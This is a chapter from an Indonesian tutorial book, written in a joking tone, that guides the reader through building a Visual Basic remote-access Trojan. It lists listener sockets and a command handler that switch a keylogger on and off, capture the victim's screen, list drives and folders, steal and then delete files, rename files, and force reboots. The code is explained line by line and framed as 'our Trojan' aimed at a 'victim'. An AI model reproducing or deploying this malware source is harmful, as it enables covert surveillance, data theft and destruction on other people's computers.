BAB 5 MetaServ: Koneksi Data
Trojan dapat melakukan manipulasi jika telah terjadi koneksi data antarkomputer satu dengan lainnya. Antara komputer klien dan komputer server. Antara mas Romeo dan mbak Juliet … hehehe ☺ ingat pembahasan legenda Romeo dan Juliet bukan? Nah … pada bagian ini akan mencermati bagaimana hal itu dapat dilakukan.
5.1
Tiga Port Utama
Masih ingat kita mempunyai 3 winsock yang membuka 3 port siluman untuk program Trojan kita? Tentu saja! Namanya adalah metaSender, metaSendData, dan metaServer.
5.1.1 metaServer Membuka suatu port dengan nomor 6621, dengan cara memanggil perintah winsock yang bernama metaServer dengan perintah pembuka lubang port, yaitu LocalPort. Ini artinya: bukalah port dengan nomor 6621. 77
Winsock ini akan kita gunakan sebagai gerbang standar penerimaan data-data manipulasi standar Trojan.
5.1.2 metaSender Membuka suatu port dengan nomor 6808 dengan cara memanggil perintah winsock yang bernama metaSender dengan perintah pembuka lubang port, yaitu LocalPort. Ini artinya: bukalah port dengan nomor 6808. Winsock ini akan kita gunakan sebagai gerbang standar penerimaan data-data manipulasi KeyLogger.
5.1.3 metaSendData Membuka suatu port dengan nomor 6820 dengan cara memanggil perintah winsock yang bernama metaSendData dengan perintah pembuka lubang port, yaitu LocalPort. Ini artinya: bukalah port dengan nomor 6820. Winsock ini akan kita gunakan sebagai gerbang standar penerimaan data-data manipulasi pengambilan gambar komputer Target.
5.2
MetaSender
Seperti telah kita ulas di depan, Winsock dengan nama metaSender ini akan membuka dan standby di port 6808. Winsock ini kita gunakan sebagai gerbang standar penerimaan data-data manipulasi KeyLogger. Lalu bagaimana ia melakukannya? Berikut ini kita akan mengulasnya. Petikan listingnya sebagai berikut: Private Sub metaSender_Close() Do While metaSender.State <> sckClosed metaSender.Close Loop metaSender.Listen End Sub Private Sub metaSender_ConnectionRequest(ByVal requestID As Long) metaSender.Close metaSender.Accept requestID End Sub
78
Private Sub metaSender_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean) metaSender.Close End Sub
Keterangan: Private Sub metaSender_Close()
Membuat suatu rutin untuk memantau status (state) dari Winsock MetaSender. State yang dipantau bernama Close. Subrutin …._close ini adalah keyword standar Winsock. Artinya kita tidak dapat sembarangan mengganti kata _Close dengan sembarang kata. Do While metaSender.State <> sckClosed
Lakukanlah aktivitas selama status metaSender tidak terputus (sckClosed). metaSender.Close
Tutup Winsock metaSender. Proses ini penting agar pemeriksaan status Winsock metaSender aman. Tidak Error! Loop
Lakukan perulangan sesuai dengan kriteria status metaSender. metaSender.Listen
Jika metaSender tidak Closed, maka … masuk ke modus Listen. Alias siaga untuk menerima data. Alias mas Romeo menunggu “perintah cinta” dari mbak Juliet … ☺ End Sub
Subrutin metaSender_Close() berakhir. Kita lihat subrutin berikutnya: Private Sub metaSender_ConnectionRequest(ByVal requestID As Long)
Buat rutin untuk permintaan koneksi (ConnectionRequest) dari winsock metaSender. metaSender.Close
Tutup winsock metaSender. Lakukan ini agar tidak terjadi error saat menerima masukan data. metaSender.Accept requestID
Winsock metaSender diaktifkan untuk menerima identitas data yang diminta. Atau menyetujui panggilan.
79
End Sub
Subrutin metaSender_ConnectionRequest () berakhir. Kita lihat subrutin berikutnya: Private Sub metaSender_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Buat suatu subrutin untuk menangani Error yang mungkin terjadi saat proses Winsock metaSender beraksi. metaSender.Close
Jika terjadi error, tutup winsock metaSender. End Sub
Subrutin metaSender_Error () berakhir. Bagaimana boss? Paham tidak? Jika tidak… coba ulangi baca. Lama-kelamaan pasti akan paham. Coba saja …
5.3
MetaSendData
Prosedur Winsock untuk Winsock MetaSendData secara prinsip sama dengan keterangan di atas (MetaSender). Jadi, tidak perlu saya ulang penjelasannya. Silakan dilihat sendiri ya? Kumat… kumat… kumat malesnya .. ☺ Private Sub metaSendData_Close() Do While metaSendData.State <> sckClosed metaSendData.Close Loop metaSendData.Listen End Sub Private Sub metaSendData_ConnectionRequest(ByVal requestID As Long) metaSendData.Close metaSendData.Accept requestID End Sub Private Sub metaSendData_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean) metaSendData.Close End Sub
80
5.4
MetaServer
Sama juga dengan keterangan di atas. Hanya ada satu baris yang agak berbeda, yaitu: Loop Until metaServer.State = sckClosed
Artinya berputar sampai status dari metaServer tertutup. Private Sub metaServer_Close() On Error Resume Next If metaServer.State <> sckClosed Then Do metaServer.Close Loop Until metaServer.State = sckClosed metaServer.Listen End If End Sub Private Sub metaServer_ConnectionRequest(ByVal requestID As Long) 'Jika ada panggilan maka metaServer.Close metaServer.Accept requestID End Sub
Coba analisis sendiri ya? Ayo… jangan males… (seperti saya .. ☺).
5.5
Data Arrival
Dari beberapa Winsock yang ada, MetaServer adalah Winsock yang mengalami tugas manipulasi yang cukup berat…☺ Pada bagian ini, kita akan membuat suatu subrutin yang menangani kedatangan data yang dikirim oleh klien. Listingnya sebagai berikut: Private Sub metaServer_DataArrival(ByVal bytesTotal As Long) On Error Resume Next Dim Kontainer As String Dim strKontainer As String Dim Cmd As String Dim Data As String metaServer.GetData Kontainer, vbString strKontainer = CStr(Kontainer) Cmd = Left(strKontainer, 3) Data = Mid$(strKontainer, 4, Len(strKontainer)) Select Case Cmd Case MOUSE_EDAN Timer1.Interval = CLng(Val(Data)) Timer1.Enabled = True Case MOUSE_WARAS Timer1.Enabled = False Case MOUSESWAP_TRUE
81
Call TukarMouse(True) Case MOUSESWAP_FALSE Call TukarMouse(False) Case TASKBAR_SEMBUNYI Call TaskBar(False) Case TASKBAR_TAMPIL Call TaskBar(True) Case REBOOT_NORMAL Call Restart Case SHUTDOWN_NORMAL Call ShutDown Case REBOOT_PAKSA Call RestartPaksa Case KIRIM_PESAN Call TampilPesan(Data) Case CDROM_BUKA Call BukaCD Case CDROM_TUTUP Call TutupCD Case MULAI_NGOBROL Load metaTalk metaTalk.Show Case STOP_NGOBROL Unload metaTalk Case KIRIM_OBROLAN metaTalk.txtNgobrol.Text = metaTalk.txtNgobrol.Text & Data & vbCrLf Case MINTA_PROGRAM_BERJALAN Call CollectRunInfo(Me.hwnd) Case WINDOW_ACTION_SEND Call Action(Data) Case KEYLOGGER_ACTIVE tmrKLog.Enabled = True Case KEYLOGGER_INACTIVE tmrKLog.Enabled = False Case START_SEMBUNYI Call HideStartButton Case START_TAMPIL Call ShowStartButton Case HEAD Call captureDesktop metaServer.SendData FILE_SIZE & CStr(FileLen(dirTMP.Path & "\" & BMPFile)) Case FILE_NAME_REQ metaServer.SendData FILE_NAME_RESP & BMPFile Case START_SEND Call KirimFileImage Case FOOT_R Close #1 Kill dirTMP.Path & "\" & BMPFile Case ME_MINTA_DRIVE Call KirimSemuaDrive Case ME_MINTA_FOLDER Call KirimFolderFile(Data, REQ_FOLDER) Case ME_MINTA_FILE Call KirimFolderFile(Data, REQ_FILE) Case ME_MINTA_FILE_INFO Call KirimFolderFile(Data, REQ_FILE_INFO) Case ME_MINTA_FILE_GET If FSO.FileExists(Data) = True Then metaServer.SendData ME_MINTA_FILE_GET & CStr(FileLen(Data)) Else metaServer.SendData ME_MINTA_FILE_INFO_NONE Case ME_MINTA_FILE_DIBUNUH If FSO.FileExists(Data) = True Then HapusSetelahCuri = True metaServer.SendData ME_MINTA_FILE_GET & CStr(FileLen(Data)) Else metaServer.SendData ME_MINTA_FILE_INFO_NONE End If Case ME_FILE_MULAI_KIRIM
82
Call KirimFileDipilih(Data) Case ME_FILE_FOOT_R Close #1 If HapusSetelahCuri = True Then Kill Data HapusSetelahCuri = False End If Case ME_MINTA_FILE_DIHAPUS If FSO.FileExists(Data) = True Then Call delSelectedFile(Data) Else metaServer.SendData ME_MINTA_FILE_INFO_NONE Case ME_MINTA_FILE_GANTI_NAMA Call gantiNamaFile(Data) Case ME_MINTA_FILE_GANTI_EXT Call gantiNamaFile(Data, True) End Select End Sub
Keterangan listing program: Private Sub metaServer_DataArrival(ByVal bytesTotal As Long)
Subrutin DataArrival dimulai. Siap menampung info jika ada data yang masuk dikirim oleh klien. On Error Resume Next
Jika terjadi kesalahan, lanjutkan ke proses berikutnya. Perintah ini untuk berjaga-jaga, siapa tahu ada kesalahan yang tidak terpikirkan sebelumnya. Dim Kontainer As String
Membuat suatu variabel yang bernama Kontainer untuk menampung data yang masuk. Dim strKontainer As String
Membuat variabel strKontainer untuk menampung data yang masuk, namun telah dikonversi menjadi data string. Dim Cmd As String
Membuat suatu variabel yang bernama Cmd untuk menampung data string perintah. Dim Data As String
Membuat suatu variabel yang bernama Data untuk menampung data string bawaan. metaServer.GetData Kontainer, vbString
Winsock metaServer menerima data dengan perintah GetData dan menampungnya ke variabel Kontainer. strKontainer = CStr(Kontainer)
'Konversi ke string
Mengisi variabel strKontainer dengan data Kontainer yang telah dikonversi menjadi string dengan perintah CStr().
83
Cmd = Left(strKontainer, 3)
Mengisi variabel Cmd dengan data strKontainer (data kontainer yang telah dikonversi) sebanyak 3 karakter saja. Pengambilan data dimulai dari sebelah kiri. Misalnya, jika ada data yang berisi kata: TITAH, maka akan diambil data: TIT saja. Sisa data: AH akan diabaikan. Data = Mid$(strKontainer, 4, Len(strKontainer))
Mengisi variabel Data dengan data strKontainer, namun sebagian saja. Pengambilan data dimulai dari data keempat. Dan sebanyak panjang data strtKontainer. Misalnya, jika ada data yang berisi kata: TITAH, maka akan diambil data: AH saja. Data awal: TIT akan diabaikan, karena pengambilan data dimulai dari karakter keempat! Itulah gunanya perintah MID$... ☺ capeeek deh…. Select Case Cmd
Mulai melakukan sortir data dengan bantuan perintah SELECT CASE. Dengan data saringannya adalah Cmd. Ingat, CMD ini hanya berisi 3 karakter! Jadi, Cmd ini sama dengan String Recognition dari program Trojan, Ringkasan dari data-data ajaib ini, nanti bisa kita baca di bagian konstanta. Untuk sementara ini kita terus saja dulu. Case MOUSE_EDAN
Jika isi Cmd itu adalah konstanta yang bernama MOUSE_EDAN …☺ maka lakukan tindakan berikut ini. Konstanta MOUSE_EDAN ini pada proyek Trojan kita ini, kode stringnya (string recognition-nya) adalah moe. Perintah ini akan membuat mouse menjadi bergerak naik turun ke kanan dan ke kiri secara “menggila”. Timer1.Interval = CLng(Val(Data))
Ubah interval Timer1 dengan masukan yang benama Data yang semula berjenis string, lalu dikonversi menjadi data numerik dengan perintah Val. Selanjutnya hasil konversi dikonversi lagi, menjadi data dengan jenis Long dengan perintah CLng. Angka ini pada praktek sesungguhnya, menentukan cepat lambatnya gerakan mouse yang sudah menjadi gila. Timer1.Enabled = True
Membuat status Timer1 menjadi aktif dengan perintah Enabled = True. Penanganan string recognition: moe selesai. Case MOUSE_WARAS
Jika isi Cmd itu adalah konstanta yang bernama MOUSE_WARAS, lakukan tindakan berikut ini. Konstanta MOUSE_WARAS ini pada proyek Trojan kita ini, kode stringnya (string recognition-nya) adalah mow. 84
Timer1.Enabled = False
Membuat status Timer1 menjadi tidak aktif dengan perintah Enabled = False. Penanganan string recognition: mow selesai dan gerakan mouse menjadi normal lagi. Case MOUSESWAP_TRUE
Jika isi Cmd itu adalah konstanta yang bernama MOUSESWAP_TRUE, lakukan tindakan berikut ini. Konstanta MOUSESWAP_TRUE ini pada proyek Trojan kita ini, kode stringnya (string recognition-nya) adalah mst. Perintah ini akan menukar fungsi tombol mouse. Jadi, jika tombol kanan mouse diklik, yang keluar adalah fungsi dari tombol klik Kiri. Demikian sebaliknya untuk tombol Kanan. Akan berubah fungsinya menjadi tombol kanan. Capeeeek deh! ☺ Namanya Trojan memang harus iseng dong! hihihihi… Call TukarMouse(True)
Memanggil fungsi TukarMouse dan diisi dengan data Boolean = True. Artinya fungsi penukaran tombol mouse diaktifkan. Case MOUSESWAP_FALSE
Jika isi Cmd itu adalah konstanta yang bernama MOUSESWAP_FALSE, lakukan tindakan berikut ini. Konstanta MOUSESWAP_FALSE ini pada proyek Trojan kita ini, kode stringnya adalah msf. Perintah ini akan menormalkan penukaran fungsi tombol mouse. Call TukarMouse(False)
Memanggil fungsi TukarMouse dan diisi dengan data Boolean =False. Artinya fungsi penukaran tombol mouse tidak aktif, alias dikembalikan menjadi normal seperti sediakala. Case TASKBAR_SEMBUNYI
Jika isi Cmd itu adalah konstanta yang bernama TASKBAR_SEMBUNYI, lakukan tindakan berikut ini. Konstanta TASKBAR_SEMBUNYI ini pada proyek Trojan kita ini, kode stringnya adalah tbs. Perintah ini akan membuat taskbar pada desktop menjadi tidak kelihatan alias bersembunyi. Call TaskBar(False)
Memanggil fungsi TaskBar dan diisi dengan data Boolean =False. Artinya taskbar dibuat ngumpet.
85
Case TASKBAR_TAMPIL
Jika isi Cmd itu adalah konstanta yang bernama TASKBAR_ TAMPIL, lakukan tindakan berikut ini. Konstanta TASKBAR_ TAMPIL ini pada proyek Trojan kita ini, kode stringnya adalah tbt. Perintah ini akan membuat taskbar pada desktop menjadi kelihatan. Call TaskBar(True)
Memanggil fungsi TaskBar dan diisi dengan data Boolean = True. Artinya taskbar akan terlihat lagi pada desktop. Case REBOOT_NORMAL
Jika isi Cmd itu adalah konstanta yang bernama REBOOT_NORMAL, lakukan tindakan berikut ini. Konstanta REBOOT_NORMAL ini pada proyek Trojan kita ini, kode stringnya adalah rbn. Perintah ini akan membuat komputer di-booting ulang. Call Restart
Memanggil subrutin Restart. Subrutin ini bertugas untuk melakukan booting ulang komputer. Nanti kita akan melihat detailnya. Sabar ya? Case SHUTDOWN_NORMAL
Jika isi Cmd itu adalah konstanta yang bernama SHUTDOWN_NORMAL, lakukan tindakan berikut ini. Konstanta SHUTDOWN_NORMAL ini pada proyek Trojan kita ini, kode stringnya adalah sdn. Perintah ini akan membuat komputer di-shutdown. Call ShutDown
Memanggil subrutin Shutdown. Subrutin ini bertugas untuk melakukan Shutdown komputer. Nanti kita akan melihat detailnya. Case REBOOT_PAKSA
Jika isi Cmd itu adalah konstanta yang bernama REBOOT_PAKSA, lakukan tindakan berikut ini. Konstanta REBOOT_PAKSA ini pada proyek Trojan kita ini, kode stringnya adalah rbp. Perintah ini akan membuat komputer di-booting ulang secara paksa alias dengan jalan kekerasan hehehe …☺. Sayangnya, ini hanya berlaku untuk Windows 9X. Call RestartPaksa
Memanggil subrutin RestartPaksa. Subrutin ini bertugas untuk melakukan booting ulang secara paksa pada komputer. Nanti kita akan melihat detailnya. 86
Case KIRIM_PESAN
Jika isi Cmd itu adalah konstanta yang bernama KIRIM_PESAN, lakukan tindakan berikut ini. Konstanta KIRIM_PESAN ini pada proyek Trojan kita ini, kode stringnya adalah psn. Perintah ini berguna untuk menampilkan pesan pada pemakai. Call TampilPesan(Data)
Memanggil subrutin TampilPesan. Subrutin ini bertugas untuk menampilkan pesan kepada pemakai dengan isi berdasarkan masukan Data. Nanti kita akan melihat detailnya. Case CDROM_BUKA
Jika isi Cmd itu adalah konstanta yang bernama CDROM_BUKA, lakukan tindakan berikut ini. Konstanta CDROM_BUKA ini pada proyek Trojan kita ini, kode stringnya adalah cdb. Perintah ini berguna untuk membuka CD-ROM Drive yang ada pada komputer. Call BukaCD
Memanggil subrutin BukaCD. Subrutin ini bertugas untuk membuka CD-ROM Drive yang ada pada komputer. Nanti kita akan melihat detailnya. Case CDROM_TUTUP
Jika isi Cmd itu adalah konstanta yang bernama CDROM_TUTUP, lakukan tindakan berikut ini. Konstanta CDROM_TUTUP ini pada proyek Trojan kita ini, kode stringnya adalah cdt. Perintah ini berguna untuk membuka CD-ROM Drive yang ada pada komputer. Call TutupCD
Memanggil subrutin TutupCD. Subrutin ini bertugas untuk menutup CD-ROM Drive yang ada pada komputer. Nanti kita akan melihat detailnya. Case MULAI_NGOBROL
Jika isi Cmd itu adalah konstanta yang bernama MULAI_NGOBROL, lakukan tindakan berikut ini. Konstanta MULAI_NGOBROL ini pada proyek Trojan kita ini, kode stringnya adalah cht. Perintah ini berguna untuk mengaktifkan proses ngobrol alias Chatting. Load metaTalk
Memasukkan form metaTalk ke memory dengan perintah Load.
87
metaTalk.Show
Menampilkan form metaTalk. Alias dengan tampilnya form ini, korban dapat mulai melakukan obrolan dengan kita. Case STOP_NGOBROL
Jika isi Cmd itu adalah konstanta yang bernama STOP_NGOBROL, lakukan tindakan berikut ini. Konstanta STOP_NGOBROL ini pada proyek Trojan kita ini kode stringnya adalah chp. Perintah ini berguna untuk menghentikan proses ngobrol alias Chatting. Unload metaTalk
Menghapus form metaTalk dari memory dengan perintah Unload. Alias ngobrolnya berhenti! Case KIRIM_OBROLAN
Jika isi Cmd itu adalah konstanta yang bernama KIRIM _NGOBROL, lakukan tindakan berikut ini. Konstanta KIRIM _NGOBROL ini pada proyek Trojan kita ini, kode stringnya adalah chm. Perintah ini berguna untuk mengirimkan obrolan. metaTalk.txtNgobrol.Text = metaTalk.txtNgobrol.Text & Data & vbCrLf
Mengisi txtNgobrol yang ada di form metaTalk dengan data obrolan plus perintah ganti baris (vbCrLf). Case MINTA_PROGRAM_BERJALAN
Jika isi Cmd itu adalah konstanta yang bernama MINTA_PROGRAM_BERJALAN, lakukan tindakan berikut ini. Konstanta MINTA_PROGRAM_BERJALAN ini pada proyek Trojan kita ini, kode stringnya adalah req. Perintah ini berguna untuk meminta informasi tentang program apa saja yang sedang berjalan di komputer. Call CollectRunInfo(Me.hwnd)
Memanggil subrutin CollectRunInfo dengan masukan jendela windows yang sedang aktif. Kita akan melihatnya lebih detail nanti. Case WINDOW_ACTION_SEND
Jika isi Cmd itu adalah konstanta yang bernama WINDOW_ACTION_SEND, lakukan tindakan berikut ini. Konstanta WINDOW_ACTION_SEND ini pada proyek Trojan kita ini, kode stringnya adalah act.
88
Perintah ini berguna untuk meminta informasi tentang tindakan yang harus dilakukan pada proses program saja yang sedang berjalan di komputer. Call Action(Data)
Memanggil subrutin Action dengan masukan Data. Case KEYLOGGER_ACTIVE
Jika isi Cmd itu adalah konstanta yang bernama KEYLOGGER_ACTIVE, lakukan tindakan berikut ini. Konstanta KEYLOGGER_ACTIVE ini pada proyek Trojan kita ini, kode stringnya adalah kla. Perintah ini berguna untuk mengaktifkan keyLogger. Tahu Keylogger bukan? .. ☺ tmrKLog.Enabled = True
Menghidupkan timer pemantau ketukan keyboard (tmrKLog). Case KEYLOGGER_INACTIVE
Jika isi Cmd itu adalah konstanta yang bernama KEYLOGGER_INACTIVE, lakukan tindakan berikut ini. Konstanta KEYLOGGER_INACTIVE ini pada proyek Trojan kita ini, kode stringnya adalah kli. Perintah ini berguna untuk menonaktifkan keyLogger. tmrKLog.Enabled = False
Mematikan timer pemantau ketukan keyboard. Case START_SEMBUNYI
Jika isi Cmd itu adalah konstanta yang bernama START_SEMBUNYI, lakukan tindakan berikut ini. Konstanta START_SEMBUNYI ini pada proyek Trojan kita ini, kode stringnya adalah sts. Perintah ini berguna untuk menyembunyikan tombol Start. Call HideStartButton
Memanggil subrutin HideStartButton yang bertugas menyembunyikan tombol Start. Case START_TAMPIL
Jika isi Cmd itu adalah konstanta yang bernama START_ TAMPIL, lakukan tindakan berikut ini. Konstanta START_ TAMPIL ini pada proyek Trojan kita ini, kode stringnya adalah stt. Perintah ini berguna untuk menampilkan kembali tombol Start.
89
Call ShowStartButton
Memanggil subrutin ShowStartButton yang bertugas menampilkan kembali tombol Start. Case HEAD
Jika isi Cmd itu adalah konstanta yang bernama HEAD, lakukan tindakan berikut ini. Konstanta Head ini pada proyek Trojan kita ini, kode stringnya adalah hde. Perintah ini berguna untuk mengambil gambar dari layar komputer yang sedang aktif pada komputer korban. Call captureDesktop
Memanggil subrutin CaptureDesktop. metaServer.SendData FILE_SIZE & CStr(FileLen(dirTMP.Path & "\" & BMPFile))
Mengirimkan ukuran dan data gambar ke komputer Klien. Case FILE_NAME_REQ
Jika isi Cmd itu adalah konstanta yang bernama FILE_NAME_REQ, lakukan tindakan berikut ini. Konstanta FILE_NAME_REQ ini pada proyek Trojan kita ini, kode stringnya adalah fnq. Perintah ini berguna untuk mengambil ukuran dan data gambar dari layar komputer yang sedang aktif pada komputer korban. metaServer.SendData FILE_NAME_RESP & BMPFile
Mengirimkan ukuran dan data gambar ke komputer Klien. Case START_SEND
Jika isi Cmd itu adalah konstanta yang bernama START_SEND, lakukan tindakan berikut ini. Konstanta START_SEND ini pada proyek Trojan kita ini, kode stringnya adalah snd. Perintah ini berguna untuk mengirim gambar dari komputer server ke komputer klien (kita). Call KirimFileImage
Memanggil rutin KirimFileImage untuk mengirimkan data gambar ke komputer Klien. Case FOOT_R
Jika isi Cmd itu adalah konstanta yang bernama FOOT_R, lakukan tindakan berikut ini. Konstanta FOOT_R ini pada proyek Trojan kita ini, kode stringnya adalah ftr.
90
Perintah ini berguna untuk menutup dan menghapus gambar hasil capture di komputer server. Close #1
Tutup file gambar. Agar siap untuk dihapus. Kill dirTMP.Path & "\" & BMPFile
Hapus file gambar dalam format BMP yang ada di directory temporer. Case ME_MINTA_DRIVE
Jika isi Cmd itu adalah konstanta yang bernama ME_MINTA_DRIVE, lakukan tindakan berikut ini. Konstanta ME_MINTA_DRIVE ini pada proyek Trojan kita ini, kode stringnya adalah mdr. Perintah ini merupakan bagian dari program MetaExplorer, berguna untuk meminta info drive terpasang pada komputer server. Call KirimSemuaDrive
Memanggil subrutin KirimSemuaDrive, yang bertugas mengirimkan info tentang drive yang ada pada komputer server. Case ME_MINTA_FOLDER
Jika isi Cmd itu adalah konstanta yang bernama ME_MINTA_FOLDER, lakukan tindakan berikut ini. Konstanta ME_MINTA_FOLDER ini pada proyek Trojan kita ini, kode stringnya adalah mfr. Perintah ini merupakan bagian dari program MetaExplorer, berguna untuk meminta info folder yang ada pada drive di komputer server. Call KirimFolderFile(Data, REQ_FOLDER)
Memanggil subrutin KirimFolderFile, yang bertugas mengirimkan info tentang folder tertentu pada komputer server. Case ME_MINTA_FILE
Jika isi Cmd itu adalah konstanta yang bernama ME_MINTA_FILE, lakukan tindakan berikut ini. Konstanta ME_MINTA_FILE ini pada proyek Trojan kita ini, kode stringnya adalah mlr. Perintah ini merupakan bagian dari program MetaExplorer, berguna untuk meminta info file tertentu yang ada pada drive di komputer server.
91
Call KirimFolderFile(Data, REQ_FILE)
Memanggil subrutin KirimFolderFile, yang bertugas mengirimkan info tentang file tertentu pada komputer server. Case ME_MINTA_FILE_INFO
Jika isi Cmd itu adalah konstanta yang bernama ME_MINTA_FILE_INFO, lakukan tindakan berikut ini. Konstanta ME_MINTA_FILE_INFO ini pada proyek Trojan kita ini, kode stringnya adalah mli. Perintah ini merupakan bagian dari program MetaExplorer, berguna untuk meminta informasi lebih detail dari file tertentu yang ada pada drive di komputer server. Call KirimFolderFile(Data, REQ_FILE_INFO)
Memanggil subrutin KirimFolderFile, yang bertugas mengirimkan info tentang detail file tertentu pada komputer server. Case ME_MINTA_FILE_GET
Jika isi Cmd itu adalah konstanta yang bernama ME_MINTA_FILE_GET, lakukan tindakan berikut ini. Konstanta ME_MINTA_FILE_ GET ini pada proyek Trojan kita ini, kode stringnya adalah mlg. Perintah ini merupakan bagian dari program MetaExplorer, berguna untuk meminta informasi lebih detail dari file tertentu yang ada pada drive di komputer server. If FSO.FileExists(Data) = True Then metaServer.SendData ME_MINTA_FILE_GET & CStr(FileLen(Data)) Else metaServer.SendData ME_MINTA_FILE_INFO_NONE
Jika file yang diminta ada, Winsock metaServer akan mengirimkan data. Selain itu, File info akan dijawab dengan info: file tidak ada. Case ME_MINTA_FILE_DIBUNUH
Jika isi Cmd itu adalah konstanta yang bernama ME_MINTA_FILE_ DIBUNUH, lakukan tindakan berikut ini. Konstanta ME_MINTA_FILE_ DIBUNUH ini pada proyek Trojan kita ini, kode stringnya adalah mlk. Perintah ini merupakan bagian dari program MetaExplorer, berguna untuk menghapus file. If FSO.FileExists(Data) = True Then
Jika file yang dicari ada, maka... HapusSetelahCuri = True
Isi variabel HapusSetelahCuri dengan data True.
92
metaServer.SendData ME_MINTA_FILE_GET & CStr(FileLen(Data))
metaServer akan mengirm data file. Else
Selain itu…. metaServer.SendData ME_MINTA_FILE_INFO_NONE
Selain itu, File info akan dijawab dengan info: file tidak ada. End If
Syarat selesai! Case ME_FILE_MULAI_KIRIM
Jika isi Cmd itu adalah konstanta yang bernama ME_FILE_MULAI_KIRIM, lakukan tindakan berikut ini. Konstanta ME_FILE_MULAI_KIRIM ini pada proyek Trojan kita ini, kode stringnya adalah mls. Perintah ini merupakan bagian dari program MetaExplorer, berguna untuk mengirim file. Call KirimFileDipilih(Data)
Memanggil subrutin KirimFileDipilih untuk mengirim data. Case ME_FILE_FOOT_R
Jika isi Cmd itu adalah konstanta yang bernama ME_FILE_FOOT_R, lakukan tindakan berikut ini. Konstanta ME_FILE_FOOT_R ini pada proyek Trojan kita ini, kode stringnya adalah mlf. Perintah ini merupakan bagian dari program MetaExplorer, berguna untuk menghapus file yang telah dipilih jika pilihan HapusSetelahCuri aktif. Close #1
Tutup file agar mulus untuk dihapus. If HapusSetelahCuri = True Then
Jika HapusSetelahCuri nilainya benar, maka…. Kill Data
Hapus file target! HapusSetelahCuri = False
Isi variabel HapusSetelahCuri dengan data False. End If
Syarat untuk nilai HapusSetelahCuri selesai. 93
Case ME_MINTA_FILE_DIHAPUS
Jika isi Cmd itu adalah konstanta yang bernama ME_MINTA_FILE_DIHAPUS, lakukan tindakan berikut ini. Konstanta ME_MINTA_FILE_DIHAPUS ini pada proyek Trojan kita ini, kode stringnya adalah mld. Perintah ini merupakan bagian dari program MetaExplorer, berguna untuk menghapus file yang telah dipilih. If FSO.FileExists(Data) = True Then Call delSelectedFile(Data) Else MetaServer.SendData ME_MINTA_FILE_INFO_NONE
Jika data file ada, hapus file tersebut. Jika tidak ada, kirim info bahwa file tidak ditemukan. Case ME_MINTA_FILE_GANTI_NAMA
Jika isi Cmd itu adalah konstanta yang bernama ME_MINTA_FILE_ GANTI_NAMA DIHAPUS, lakukan tindakan berikut ini. Konstanta ME_MINTA_FILE_ GANTI_NAMA ini pada proyek Trojan kita ini, kode stringnya adalah mlm. Perintah ini merupakan bagian dari program MetaExplorer, berguna untuk mengganti nama file yang telah dipilih. Call gantiNamaFile(Data)
Memanggil subrutin gantiNamaFile, yang bertugas mengganti nama file tertentu pada komputer server. Case ME_MINTA_FILE_GANTI_EXT
Jika isi Cmd itu adalah konstanta yang bernama ME_MINTA_FILE_ GANTI_EXT DIHAPUS, lakukan tindakan berikut ini. Konstanta ME_MINTA_FILE_ GANTI_EXT ini pada proyek Trojan kita ini, kode stringnya adalah mlt. Perintah ini merupakan bagian dari program MetaExplorer, berguna untuk mengganti ekstension file yang telah dipilih. Call gantiNamaFile(Data, True)
Memanggil subrutin gantiNamaFile, yang bertugas mengganti ekstension file tertentu pada komputer server. End Select
Prosedur penyaringan kode string (string recognition) berakhir. End Sub
Subrutin metaServer_DataArrival berakhir.
94
Fuuuf!!! Akhirnya berakhir juga subrutin DataArrival. Data yang cukup panjang sekaligus membosankan untuk dibaca, dan bikin tangan pegel untuk mengetik.. ☺
5.6
MetaServer Error
Subrutin ini akan bertugas menangani bila terjadi error pada MetaServer. Listingnya sebagai berikut: Private Sub metaServer_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean) MsgBox Description metaServer.Close metaServer.Listen End Sub
Keterangan ringkasnya sebagai berikut: Private Sub metaServer_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Subrutin penanganan Error untuk Winsock MetaServer dimulai. MsgBox Description
Tampilkan keterangan dari Error. metaServer.Close
Tutup MetaServer socket. metaServer.Listen
Masukkan kembali Winsock MetaServer ke modus mendengarkan, alias siaga menerima masukan. End Sub
Rutin error handling MetaServer selesai. Sampai batas ini, manipulasi koneksi data MetaServer telah selesai. Semoga tidak jelas hehehe .. ☺ bossaaaaaaaaaaaaaaaaaaan……. *** 95